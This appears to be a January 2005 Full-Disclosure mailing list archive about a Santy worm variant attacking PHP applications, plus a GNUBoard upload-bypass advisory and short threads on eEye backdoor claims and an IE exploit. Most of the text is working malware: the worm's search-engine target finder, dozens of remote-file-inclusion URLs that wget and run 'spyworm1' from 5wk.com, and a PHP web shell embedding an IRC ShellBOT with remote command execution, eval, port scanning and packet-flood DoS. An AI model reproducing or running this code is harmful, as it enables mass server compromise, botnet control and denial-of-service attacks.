'/db.php?path_local=http://www.5wk.com/spy.gif?&cmd=cd /tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget http://www.5wk.com/spybot'; $lista[35] = '/index.php?site=http://www.5wk.com/spy.gif?&cmd=cd /tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget http://www.5wk.com/spybot'; $lista[36] = '/htmltonuke.php?filnavn=http://www.5wk.com/spy.gif?&cmd=cd /tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget http://www.5wk.com/spybot'; $lista[37] = '/livehelp/inc/pipe.php?HCL_path=http://www.5wk.com/spy.gif?&cmd=cd /tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget http://www.5wk.com/spybot'; $lista[38] = '/hcl/inc/pipe.php?HCL_path=http://www.5wk.com/spy.gif?&cmd=cd /tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget http://www.5wk.com/spybot'; $lista[39] = '/inc/pipe.php?HCL_path=http://www.5wk.com/spy.gif?&cmd=cd /tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget http://www.5wk.com/spybot'; $lista[40] = '/support/faq/inc/pipe.php?HCL_path=http://www.5wk.com/spy.gif?&cmd=cd /tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget http://www.5wk.com/spybot'; $lista[41] = '/help/faq/inc/pipe.php?HCL_path=http://www.5wk.com/spy.gif?&cmd=cd /tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget http://www.5wk.com/spybot'; $lista[42] = '/helpcenter/inc/pipe.php?HCL_path=http://www.5wk.com/spy.gif?&cmd=cd /tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget http://www.5wk.com/spybot'; $lista[43] = '/live-support/inc/pipe.php?HCL_path=http://www.5wk.com/spy.gif?&cmd=cd /tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget http://www.5wk.com/spybot'; $lista[44] = '/gnu3/index.php?doc=http://www.5wk.com/spy.gif?&cmd=cd /tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget http://www.5wk.com/spybot'; $lista[45] = '/gnu/index.php?doc=http://www.5wk.com/spy.gif?&cmd=cd /tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget http://www.5wk.com/spybot'; $lista[46] = '/phpgwapi/setup/tables_update.inc.php?appdir=http://www.5wk.com/spy.gif?&cmd=cd /tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget http://www.5wk.com/spybot'; $lista[47] = 'includes/calendar.php?phpc_root_path=http://www.5wk.com/spy.gif?&cmd=cd /tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget http://www.5wk.com/spybot'; $lista[48] = 'includes/setup.php?phpc_root_path=http://www.5wk.com/spy.gif?&cmd=cd /tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget http://www.5wk.com/spybot'; $lista[49] = '/inc/authform.inc.php?path_pre=http://www.5wk.com/spy.gif?&cmd=cd /tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget http://www.5wk.com/spybot'; $lista[50] = '/include/authform.inc.php?path_pre=http://www.5wk.com/spy.gif?&cmd=cd /tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget http://www.5wk.com/spybot'; while(1){ #################################### # # worm php injection # explora v?rias vuls # # #################################### $nume = int rand(999); $procura = 'inurl:*.php?*=' . $nume; $caxe = "."; $caxe1 = "."; $caxe .= rand(9999); $caxe1 .= rand(9999); $arq = "."; $arq .= int rand(9999); open(sites,">$arq"); print sites ""; close(sites); for($n=0;$n<900;$n += 100){ $sock = IO::Socket::INET->new(PeerAddr => "www.google.com.br", PeerPort => 80, Proto => "tcp") or next; print $sock "GET /search?q=$procura&num=100&hl=pt-BR&lr=&as_qdr=all&start=$n&sa=N HTTP/1.0\n\n"; @resu = <$sock>; close($sock); $ae = "@resu"; while ($ae=~ m/.*?<\/a>/){ $ae=~ s/.*?<\/a>/$1/; $uber=$1; if ($uber !~/translate/) { if ($uber !~ /cache/) { if ($uber !~ /"/) { if ($uber !~ /google/) { if ($uber !~ /216/) { if ($uber =~/http/) { if ($uber !~ /start=/) { open(arq,">>$arq"); print arq "$uber\n"; close(arq); }}}}}}}}} for($cadenu=1;$cadenu <= 991; $cadenu +=10){ @cade = get("http://cade.search.yahoo.com/search?p=$procura&ei=UTF-8&fl=0&all=1&pstart=1&b=$cadenu") or next; $ae = "@cade"; while ($ae=~ m/.*?<\/em>/){ $ae=~ s/(.*?)<\/em>/$1/; $uber=$1; $uber =~ s/ //g; $uber =~ s///g; $uber =~ s/<\/b>//g; $uber =~ s///g; open(a,">>$arq"); print a "$uber\n"; close(a); }} $ark = $arq; @si = ""; open (arquivo,"<$ark"); @si = ; close(arquivo); $novo =""; foreach (@si){ if (!$si{$_}) { $novo .= $_; $si{$_} = 1; } } open (arquivo,">$ark"); print arquivo $novo; close(arquivo); $a =0; $b =0; open(ae,"<$arq"); while() {$sites[$a] = $_; chomp $sites[$a]; $a++; $b++;} close(ae); for ($a=0;$a<=$b;$a++){ open (file, ">$caxe"); print file ""; close(file); open (file, ">$caxe1"); print file ""; close(file); $k=0; $e=0; $data=get($sites[$a]) or next; while($data=~ m/.*?<\/a>/){ $data=~ s/.*?<\/a>/$1/; $ubersite=$1; if ($ubersite =~/"/) { $nu = index $ubersite, '"'; $ubersite = substr($ubersite,0,$nu); } if ($ubersite !~/http/) {$ubersite = $sites[$a].'/'.$ubersite;} open(file,">>$caxe") || die("nao abriu caxe.txt $!"); print file "$ubersite\n"; close(file); } $lista1 = 'http://www.5wk.com/spy.gif?&cmd=cd /tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget http://www.5wk.com/spybot'; $lista2 = '|cd /tmp;wget http://www.5wk.com/spyworm1;perl spyworm1;wget http://www.5wk.com/spybot|'; $t =0; $y =0; @ja; open(opa,"<$caxe") or next; while () { $ja[$t] = $_; chomp $ja[$t]; $t++; $y++; } close(opa); $t=1; while ($t < $y) { if ($ja[$t] =~/=/) { $num = rindex $ja[$t], '='; $num += 1; $ja[$t] = substr($ja[$t],0,$num); open (jaera,">>$caxe1") or next; print jaera "$ja[$t]$lista1\n"; print jaera "$ja[$t]$lista2\n"; close(jaera); $num = index $ja[$t], '='; $num += 1; $ja[$t] = substr($ja[$t],0,$num); $num1 = rindex $ja[$t], '.'; $subproc = substr($ja[$t],$num1,$num); open (jaera,">>$caxe1") or next; print jaera "$ja[$t]$lista1\n"; print jaera "$ja[$t]$lista2\n"; close(jaera); } $t++; } $ark = "$caxe1"; @si = ""; open (arquivo,"<$ark"); @si = ; close(arquivo); $novo =""; foreach (@si){ if (!$si{$_}) { $novo .= $_; $si{$_} = 1; } } open (arquivo,">$ark"); print arquivo $novo; close(arquivo); $q=0; $w=0; @hot; open (ops,"<$caxe1"); while() { $hot[$q] = $_; chomp $hot[$q]; $q++; $w++; } close(ops); for($q=0;$q<=$w;$q++) { if ($hot[$q] =~/http/) { $tipo=get($hot[$q]) or next; for($tee=0;$tee<=50;$tee++){ &recicla; $hot[$q] = 'http://' .$hot[$q] . $lista[$tee] ; $tipo=get($hot[$q]) or next; } }}} } ############################### # # sub rotinas # # # ############################### ####################### sub recicla{ substr($hot[$q], 0, 7) =""; $nu = index $hot[$q], '/'; $hot[$q] = substr($hot[$q],0,$nu); } From advisory at stgsecurity.com Mon Jan 3 07:16:28 2005 From: advisory at stgsecurity.com (SSR Team) Date: Mon, 3 Jan 2005 16:16:28 +0900 Subject: [Full-Disclosure] STG Security Advisory: [SSA-20041224-21] File extensions restriction bypass vulnerability in GNUBoard Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 STG Security Advisory: [SSA-20041224-21] File extensions restriction bypass vulnerability in GNUBoard. Revision 1.0 Date Published: 2004-12-24 (KST) Last Update: 2005-01-33 Disclosed by SSR Team (advisory at stgsecurity.com) Summary ======== GNUBoard is one of widely used web BBS applications in Korea. However, an input validation flaw can cause malicious attackers to run arbitrary commands with the privilege of the HTTPD process, which is typically run as the nobody user. Vulnerability Class =================== Implementation Error: Input validation flaw Impact ====== High : arbitrary command execution. Affected Products ================ GNUBoard 3.40 and prior Vendor Status: NOT FIXED ======================== 2004-12-09 Vulnerability found 2004-12-09 Vendor contacted and confirmed. 2005-01-03 Official release. Details ======= Implementation of check every file extension of upload files is case-sensitive. Bypassing this mechanism, malicious attackers can upload arbitrary script files (php, pl, cgi, etc) to a web server. gbupdate.php (107 line) - ---- // ????? ???? ??? $source = array ("/\.php/", "/\.htm/", "/\.cgi/", "/\.pl/"); $target = array (".phpx", ".htmx", ".cgix", ".plx"); - ---- gbupdate.php (142 line) - ---- // php_x ? ?? ???? ???? ??? ?? ??? ???? abc.php._x ? ???? ??? ?? $filename = preg_replace($source, $target, $filename); // ???? ?? ??? $upload[$i] = $prefix . $filename; $dest_file = "./data/file/$bo_table/$upload[$i]"; - ---- malicious attackers can upload [attack].PHP.rar, [attack].pHp.rar, etc. Solution ========= modify 108th line of gbupdate.php as following $source = array ("/\.php/i", "/\.htm/i", "/\.cgi/i", "/\.pl/i"); Vendor URL ========== http://www.sir.co.kr/ Credits ====== Jeremy Bae at STG Security -----BEGIN PGP SIGNATURE----- Version: PGP 8.0 iQA/AwUBQdjxDD9dVHd/hpsuEQIfQgCdH1I3gYRYQhM49hOOEKg35puXscUAoK07 zKwL5QKjuY2Nb2yzKAtFwDhJ =o+Ui -----END PGP SIGNATURE----- From stfunub at gmail.com Mon Jan 3 07:55:49 2005 From: stfunub at gmail.com (Andrew Smith) Date: Mon, 3 Jan 2005 07:55:49 +0000 Subject: [Full-Disclosure] Santy Variant attacking about 50 PHP-applications In-Reply-To: <33713abc0501022354329f561f@mail.gmail.com> References: <481.1104521032@www6.gmx.net> <33713abc0501022354329f561f@mail.gmail.com> Message-ID: <33713abc050102235568e95480@mail.gmail.com> Also the spy.gif script:
SPYKIDS PHP Command/Safemode Exploit 4.1

Informa??o do sistema
". _SQL_INPUT ."
:
Server IP:
Web Server:

[*] Command Mode Run"; ?>

&1"); $output = ob_get_contents(); ob_end_clean( ); ?>
[*] Safemode Mode Run"; ?>
Safe Mode Directory Listing
"; echo ""; echo ""; echo "List All Files

"; while (($file = readdir($dir)) !== false) { if (@is_file($file)) { $file1 = fileowner($file); $file2 = fileperms($file); echo "$file1 - $file2 -
$file
"; // echo "$file1 - $file2 - $file
"; flush( ); } } echo ""; echo""; echo "List Only Folders

"; if ($dir = @opendir($chdir)) { while (($file = readdir($dir)) !== false) { if (@is_dir($file)) { $file1 = fileowner($file); $file2 = fileperms($file); echo "$file1 - $file2 - $file
"; // echo "$file1 - $file2 - $file
"; } } } echo ""; echo""; echo "List Writable Folders

"; if ($dir = @opendir($chdir)) { while (($file = readdir($dir)) !== false) { if (@is_writable($file) && @is_dir($file)) { $file1 = fileowner($file); $file2 = fileperms($file); echo "$file1 - $file2 - $file
"; } } } echo ""; echo ""; echo ""; echo "List Writable Files

"; if ($dir = opendir($chdir)) { while (($file = readdir($dir)) !== false) { if (@is_writable($file) && @is_file($file)) { $file1 = fileowner($file); $file2 = fileperms($file); echo "$file1 - $file2 - $file
"; } } } echo ""; echo ""; echo ""; } } ?> new(); ############################# # B0tchZ na veia ehehe :P # ############################# $sel_cliente = IO::Select->new(); sub sendraw { if ($#_ == "1") { my $socket = $_[0]; print $socket "$_[1]\n"; } else { print $IRC_cur_socket "$_[0]\n"; } } sub conectar { my $meunick = $_[0]; my $servidor_con = $_[1]; my $porta_con = $_[2]; my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1); if (defined($IRC_socket)) { $IRC_cur_socket = $IRC_socket; $IRC_socket->autoflush(1); $sel_cliente->add($IRC_socket); $irc_servers{$IRC_cur_socket}{"host"} = "$servidor_con"; $irc_servers{$IRC_cur_socket}{"porta"} = "$porta_con"; $irc_servers{$IRC_cur_socket}{"nick"} = $meunick; $irc_servers{$IRC_cur_socket}{"meuip"} = $IRC_socket->sockhost; nick("$meunick"); sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname"); sleep 1; } } my $line_temp; while( 1 ) { while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); } delete($irc_servers{""}) if (defined($irc_servers{""})); &DCC::connections; my @ready = $sel_cliente->can_read(0); next unless(@ready); foreach $fh (@ready) { $IRC_cur_socket = $fh; $meunick = $irc_servers{$IRC_cur_socket}{"nick"}; $nread = sysread($fh, $msg, 4096); if ($nread == 0) { $sel_cliente->remove($fh); $fh->close; delete($irc_servers{$fh}); } @lines = split (/\n/, $msg); for(my $c=0; $c<= $#lines; $c++) { $line = $lines[$c]; $line=$line_temp.$line if ($line_temp); $line_temp=""; $line =~ s/\r$//; unless ($c == $#lines) { parse("$line"); } else { if ($#lines == 0) { parse("$line"); } elsif ($lines[$c] =~ /\r$/) { parse("$line"); } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) { parse("$line"); } else { $line_temp = $line; } } } } } sub parse { my $servarg = shift; if ($servarg =~ /^PING \:(.*)/) { sendraw("PONG :$1"); } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) { my $pn=$1; my $onde = $4; my $args = $5; if ($args =~ /^\001VERSION\001$/) { notice("$pn", "\001VERSION ShellBOT-$VERSAO por 0ldW0lf modificado por poerschke \001"); } if (grep {$_ =~ /^\Q$pn\E$/i } @adms) { if ($onde eq "$meunick"){ shell("$pn", "$args"); } if ($args =~ /^(\Q$meunick\E|\!atrix)\s+(.*)/ ) { my $natrix = $1; my $arg = $2; if ($arg =~ /^\!(.*)/) { ircase("$pn","$onde","$1") unless ($natrix eq "!atrix" and $arg =~ /^\!nick/); } elsif ($arg =~ /^\@(.*)/) { $ondep = $onde; $ondep = $pn if $onde eq $meunick; bfunc("$ondep","$1"); } else { shell("$onde", "$arg"); } } } } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) { if (lc($1) eq lc($meunick)) { $meunick=$4; $irc_servers{$IRC_cur_socket}{"nick"} = $meunick; } } elsif ($servarg =~ m/^\:(.+?)\s+433/i) { nick("$meunick".int rand(9999)); } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) { $meunick = $2; $irc_servers{$IRC_cur_socket}{"nick"} = $meunick; $irc_servers{$IRC_cur_socket}{"nome"} = "$1"; foreach my $canal (@canais) { sendraw("JOIN $canal"); sendraw("PRIVMSG $canal cheguei gazelas"); sendraw("PRIVMSG $canal meh que tao ?"); } } } sub bfunc { my $printl = $_[0]; my $funcarg = $_[1]; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { if ($funcarg =~ /^portscan (.*)/) { my $hostip="$1"; my @portas=( 44464, 4444, 14589, 666, 6666, 6968, 26092, 530, 46256, 31337, 2222, 3879, 30464, 40193, 36864, 33270, 36864, 40193, 30464, 8008, 1234, 6969, 7788, 1524, 10000, 12321, 43690, 3333, 9999, 8975, 16705, 2313, 21317, 36864, 13330, 58821, 6682, 5678, 45295, 65535, 26112, 7512, 24876, 9191, 5321, 50766, 1492, 12345, 12346, 6969, 6970, 12666, 1666, 80, 21, 23, 25, 110); my (@aberta, %porta_banner); foreach my $porta (@portas) { my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => "tcp", Timeout => 4); if ($scansock) { push (@aberta, $porta); $scansock->close; } } if (@aberta) { sendraw($IRC_cur_socket, "PRIVMSG $printl :portas abertas: @aberta"); } else { sendraw($IRC_cur_socket,"PRIVMSG $printl :Nenhuma porta aberta foi encontrada"); } } ######################################################### ######################################################### if ($funcarg =~ /^pacota\s+(.*)\s+(\d+)\s+(\d+)/) { my ($dtime, %pacotes) = attacker("$1", "$2", "$3"); $dtime = 1 if $dtime == 0; my %bytes; $bytes{igmp} = $2 * $pacotes{igmp}; $bytes{icmp} = $2 * $pacotes{icmp}; $bytes{o} = $2 * $pacotes{o}; $bytes{udp} = $2 * $pacotes{udp}; $bytes{tcp} = $2 * $pacotes{tcp}; sendraw($IRC_cur_socket, "PRIVMSG $printl :\002 - Status GERAL -\002"); sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo\002: $dtime"."s"); sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total pacotes\002: ".($pacotes{udp} + $pacotes{igmp} + $pacotes{icmp} + $pacotes{o})); sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total bytes\002: ".($bytes{icmp} + $bytes {igmp} + $bytes{udp} + $bytes{o})); sendraw($IRC_cur_socket, "PRIVMSG $printl :\002M?dia de envio\002: ".int((($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)/$dtime)." kbps"); } exit; } } } sub ircase { my ($kem, $printl, $case) = @_; if ($case =~ /^entrar (.*)/) { j("$1"); } if ($case =~ /^part (.*)/) { p("$1"); } if ($case =~ /^rejoin\s+(.*)/) { my $chan = $1; if ($chan =~ /^(\d+) (.*)/) { for (my $ca = 1; $ca <= $1; $ca++ ) { p("$2"); j("$2"); } } else { p("$chan"); j("$chan"); } } if ($case =~ /^op/) { op("$printl", "$kem") if $case eq "op"; my $oarg = substr($case, 3); op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/); } if ($case =~ /^deop/) { deop("$printl", "$kem") if $case eq "deop"; my $oarg = substr($case, 5); deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/); } if ($case =~ /^voice/) { voice("$printl", "$kem") if $case eq "voice"; $oarg = substr($case, 6); voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/); } if ($case =~ /^devoice/) { devoice("$printl", "$kem") if $case eq "devoice"; $oarg = substr($case, 8); devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/); } if ($case =~ /^msg\s+(\S+) (.*)/) { msg("$1", "$2"); } if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) { for (my $cf = 1; $cf <= $1; $cf++) { msg("$2", "$3"); } } if ($case =~ /^ctcp\s+(\S+) (.*)/) { ctcp("$1", "$2"); } if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) { for (my $cf = 1; $cf <= $1; $cf++) { ctcp("$2", "$3"); } } if ($case =~ /^invite\s+(\S+) (.*)/) { invite("$1", "$2"); } if ($case =~ /^nick (.*)/) { nick("$1"); } if ($case =~ /^conecta\s+(\S+)\s+(\S+)/) { conectar("$2", "$1", 6667); } if ($case =~ /^send\s+(\S+)\s+(\S+)/) { DCC::SEND("$1", "$2"); } if ($case =~ /^raw (.*)/) { sendraw("$1"); } if ($case =~ /^eval (.*)/) { eval "$1"; } } sub shell { return unless $secv; my $printl=$_[0]; my $comando=$_[1]; if ($comando =~ /cd (.*)/) { chdir("$1") || msg("$printl", "Diert?rio inexistente!"); return; } elsif ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my @resp=`$comando 2>&1 3>&1`; my $c=0; foreach my $linha (@resp) { $c++; chop $linha; sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha"); if ($c == "$linas_max") { $c=0; sleep $sleep; } } exit; } } } #eu fiz um pacotadorzinhu e talz.. dai colokemo ele aki sub attacker { my $iaddr = inet_aton($_[0]); my $msg = "B" x $_[1]; my $ftime = $_[2]; my $cp = 0; my (%pacotes); $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0; socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++; socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++; socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++; socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++; return(undef) if $cp == 4; my $itime = time; my ($cur_time); while ( 1 ) { for (my $porta = 1; $porta <= 65535; $porta++) { $cur_time = time - $itime; last if $cur_time >= $ftime; send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++; send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++; send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++; send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++; # DoS ?? :P for (my $pc = 3; $pc <= 255;$pc++) { next if $pc == 6; $cur_time = time - $itime; last if $cur_time >= $ftime; socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next; send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;; } } last if $cur_time >= $ftime; } return($cur_time, %pacotes); } ############# # ALIASES # ############# sub action { return unless $#_ == 1; sendraw("PRIVMSG $_[0] :\001ACTION $_[1]\001"); } sub ctcp { return unless $#_ == 1; sendraw("PRIVMSG $_[0] :\001$_[1]\001"); } sub msg { return unless $#_ == 1; sendraw("PRIVMSG $_[0] :$_[1]"); } sub notice { return unless $#_ == 1; sendraw("NOTICE $_[0] :$_[1]"); } sub op { return unless $#_ == 1; sendraw("MODE $_[0] +o $_[1]"); } sub deop { return unless $#_ == 1; sendraw("MODE $_[0] -o $_[1]"); } sub hop { return unless $#_ == 1; sendraw("MODE $_[0] +h $_[1]"); } sub dehop { return unless $#_ == 1; sendraw("MODE $_[0] +h $_[1]"); } sub voice { return unless $#_ == 1; sendraw("MODE $_[0] +v $_[1]"); } sub devoice { return unless $#_ == 1; sendraw("MODE $_[0] -v $_[1]"); } sub ban { return unless $#_ == 1; sendraw("MODE $_[0] +b $_[1]"); } sub unban { return unless $#_ == 1; sendraw("MODE $_[0] -b $_[1]"); } sub kick { return unless $#_ == 1; sendraw("KICK $_[0] $_[1] :$_[2]"); } sub modo { return unless $#_ == 0; sendraw("MODE $_[0] $_[1]"); } sub mode { modo(@_); } sub j { &entrar(@_); } sub entrar { return unless $#_ == 0; sendraw("JOIN $_[0]"); } sub p { part(@_); } sub part {sendraw("PART $_[0]");} sub nick { return unless $#_ == 0; sendraw("NICK $_[0]"); } sub invite { return unless $#_ == 1; sendraw("INVITE $_[1] $_[0]"); } sub topico { return unless $#_ == 1; sendraw("TOPIC $_[0] $_[1]"); } sub topic { topico(@_); } sub whois { return unless $#_ == 0; sendraw("WHOIS $_[0]"); } sub who { return unless $#_ == 0; sendraw("WHO $_[0]"); } sub names { return unless $#_ == 0; sendraw("NAMES $_[0]"); } sub away { sendraw("AWAY $_[0]"); } sub back { away(); } sub quit { sendraw("QUIT :$_[0]"); } # DCC package DCC; sub connections { my @ready = $dcc_sel->can_read(1); # return unless (@ready); foreach my $fh (@ready) { my $dcctipo = $DCC{$fh}{tipo}; my $arquivo = $DCC{$fh}{arquivo}; my $bytes = $DCC{$fh}{bytes}; my $cur_byte = $DCC{$fh}{curbyte}; my $nick = $DCC{$fh}{nick}; my $msg; my $nread = sysread($fh, $msg, 10240); if ($nread == 0 and $dcctipo =~ /^(get|sendcon)$/) { $DCC{$fh}{status} = "Cancelado"; $DCC{$fh}{ftime} = time; $dcc_sel->remove($fh); $fh->close; next; } if ($dcctipo eq "get") { $DCC{$fh}{curbyte} += length($msg); my $cur_byte = $DCC{$fh}{curbyte}; open(FILE, ">> $arquivo"); print FILE "$msg" if ($cur_byte <= $bytes); close(FILE); my $packbyte = pack("N", $cur_byte); print $fh "$packbyte"; if ($bytes == $cur_byte) { $dcc_sel->remove($fh); $fh->close; $DCC{$fh}{status} = "Recebido"; $DCC{$fh}{ftime} = time; next; } } elsif ($dcctipo eq "send") { my $send = $fh->accept; $send->autoflush(1); $dcc_sel->add($send); $dcc_sel->remove($fh); $DCC{$send}{tipo} = "sendcon"; $DCC{$send}{itime} = time; $DCC{$send}{nick} = $nick; $DCC{$send}{bytes} = $bytes; $DCC{$send}{curbyte} = 0; $DCC{$send}{arquivo} = $arquivo; $DCC{$send}{ip} = $send->peerhost; $DCC{$send}{porta} = $send->peerport; $DCC{$send}{status} = "Enviando"; #de cara manda os primeiro 1024 bytes do arkivo.. o resto fik com o sendcon open(FILE, "< $arquivo"); my $fbytes; read(FILE, $fbytes, 1024); print $send "$fbytes"; close FILE; # delete($DCC{$fh}); } elsif ($dcctipo eq "sendcon") { my $bytes_sended = unpack("N", $msg); $DCC{$fh}{curbyte} = $bytes_sended; if ($bytes_sended == $bytes) { $fh->close; $dcc_sel->remove($fh); $DCC{$fh}{status} = "Enviado"; $DCC{$fh}{ftime} = time; next; } open(SENDFILE, "< $arquivo"); seek(SENDFILE, $bytes_sended, 0); my $send_bytes; read(SENDFILE, $send_bytes, 1024); print $fh "$send_bytes"; close(SENDFILE); } } } sub SEND { my ($nick, $arquivo) = @_; unless (-r "$arquivo") { return(0); } my $dccark = $arquivo; $dccark =~ s/[.*\/](\S+)/$1/; my $meuip = $::irc_servers{"$::IRC_cur_socket"}{"meuip"}; my $longip = unpack("N",inet_aton($meuip)); my @filestat = stat($arquivo); my $size_total=$filestat[7]; if ($size_total == 0) { return(0); } my ($porta, $sendsock); do { $porta = int rand(64511); $porta += 1024; $sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>$porta, Proto => "tcp") and $dcc_sel->add($sendsock); } until $sendsock; $DCC{$sendsock}{tipo} = "send"; $DCC{$sendsock}{nick} = $nick; $DCC{$sendsock}{bytes} = $size_total; $DCC{$sendsock}{arquivo} = $arquivo; &::ctcp("$nick", "DCC SEND $dccark $longip $porta $size_total"); } sub GET { my ($arquivo, $dcclongip, $dccporta, $bytes, $nick) = @_; return(0) if (-e "$arquivo"); if (open(FILE, "> $arquivo")) { close FILE; } else { return(0); } my $dccip=fixaddr($dcclongip); return(0) if ($dccporta < 1024 or not defined $dccip or $bytes < 1); my $dccsock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$dccip, PeerPort=>$dccporta, Timeout=>15) or return (0); $dccsock->autoflush(1); $dcc_sel->add($dccsock); $DCC{$dccsock}{tipo} = "get"; $DCC{$dccsock}{itime} = time; $DCC{$dccsock}{nick} = $nick; $DCC{$dccsock}{bytes} = $bytes; $DCC{$dccsock}{curbyte} = 0; $DCC{$dccsock}{arquivo} = $arquivo; $DCC{$dccsock}{ip} = $dccip; $DCC{$dccsock}{porta} = $dccporta; $DCC{$dccsock}{status} = "Recebendo"; } # po fico xato de organiza o status.. dai fiz ele retorna o status de acordo com o socket.. dai o ADM.pl lista os sockets e faz as perguntas sub Status { my $socket = shift; my $sock_tipo = $DCC{$socket}{tipo}; unless (lc($sock_tipo) eq "chat") { my $nick = $DCC{$socket}{nick}; my $arquivo = $DCC{$socket}{arquivo}; my $itime = $DCC{$socket}{itime}; my $ftime = time; my $status = $DCC{$socket}{status}; $ftime = $DCC{$socket}{ftime} if defined($DCC{$socket}{ftime}); my $d_time = $ftime-$itime; my $cur_byte = $DCC{$socket}{curbyte}; my $bytes_total = $DCC{$socket}{bytes}; my $rate = 0; $rate = ($cur_byte/1024)/$d_time if $cur_byte > 0; my $porcen = ($cur_byte*100)/$bytes_total; my ($r_duv, $p_duv); if ($rate =~ /^(\d+)\.(\d)(\d)(\d)/) { $r_duv = $3; $r_duv++ if $4 >= 5; $rate = "$1\.$2"."$r_duv"; } if ($porcen =~ /^(\d+)\.(\d)(\d)(\d)/) { $p_duv = $3; $p_duv++ if $4 >= 5; $porcen = "$1\.$2"."$p_duv"; } return("$sock_tipo","$status","$nick","$arquivo","$bytes_total", "$cur_byte","$d_time", "$rate", "$porcen"); } return(0); } # esse "sub fixaddr" daki foi pego do NET::IRC::DCC identico soh copiei e coloei (colokar nome do autor) sub fixaddr { my ($address) = @_; chomp $address; # just in case, sigh. if ($address =~ /^\d+$/) { return inet_ntoa(pack "N", $address); } elsif ($address =~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) { return $address; } elsif ($address =~ tr/a-zA-Z//) { # Whee! Obfuscation! return inet_ntoa(((gethostbyname($address))[4])[0]); } else { return; } }'; $fp = fopen("/tmp/spykids.pl", "w"); $ok = fwrite($fp, $shell); if (!empty($ok)) { echo "
[*] Spykids Shell Bot Was Successfuly Copied
"; } else { echo "
[-] An Error Has Ocurred While Copying Shell
"; } } ?>

[-]
An Error Has Ocurred While Uploading File";
      break;
    }
  }

  if (!empty($ok)) {
    echo "
[*] File Was Successfuly Uploaded
"; } } flush( ); ?>
From BlueBoar at thievco.com Mon Jan 3 04:27:09 2005 From: BlueBoar at thievco.com (Blue Boar) Date: Sun, 02 Jan 2005 20:27:09 -0800 Subject: [Full-Disclosure] Multiple Backdoors found in eEye Products (IRIS and Secure In-Reply-To: <41D867D2.9030105@immunitysec.com> References: <41D867D2.9030105@immunitysec.com> Message-ID: <41D8C99D.1090304@thievco.com> Dave Aitel wrote: > Of course, this sort of thing is basically impossible to disprove - > especially without source. If I were looking for a well-hidden backdoor, I wouldn't bother with source. There's no guarantee that a particular binary was produced by a particular group of source unless you can compile it yourself to the same set of bytes. Even then, you've got no guarantee the backdoor isn't introduced as part of the build process or a compiler quirk, rather than being in the source. As for proof in this particular case, I find the claim rather extraordinary, so I would place the burden of proof on the claimer. Let's see an exploit. BB From jftucker at gmail.com Mon Jan 3 12:53:24 2005 From: jftucker at gmail.com (James Tucker) Date: Mon, 3 Jan 2005 08:53:24 -0400 Subject: [Full-Disclosure] YEY AGAIN Automatic remotecompromiseofInternetExplorer Service Pack 2 XP SP2 In-Reply-To: References: <200412261612.iBQGCrvO028554@lists.netsys.com> Message-ID: Just throwing an idea out here.... On many systems, with more advanced users but less memory, I set the Help and Support service to 'manual' start. This prevents the service from being loaded on boot (about 30mb of memory saved, IIRC). Does this affect these exploits? N.B. There is a side effect to setting the service to manual, in some cases the requested help page will not be viewed until the second call to the help system, at 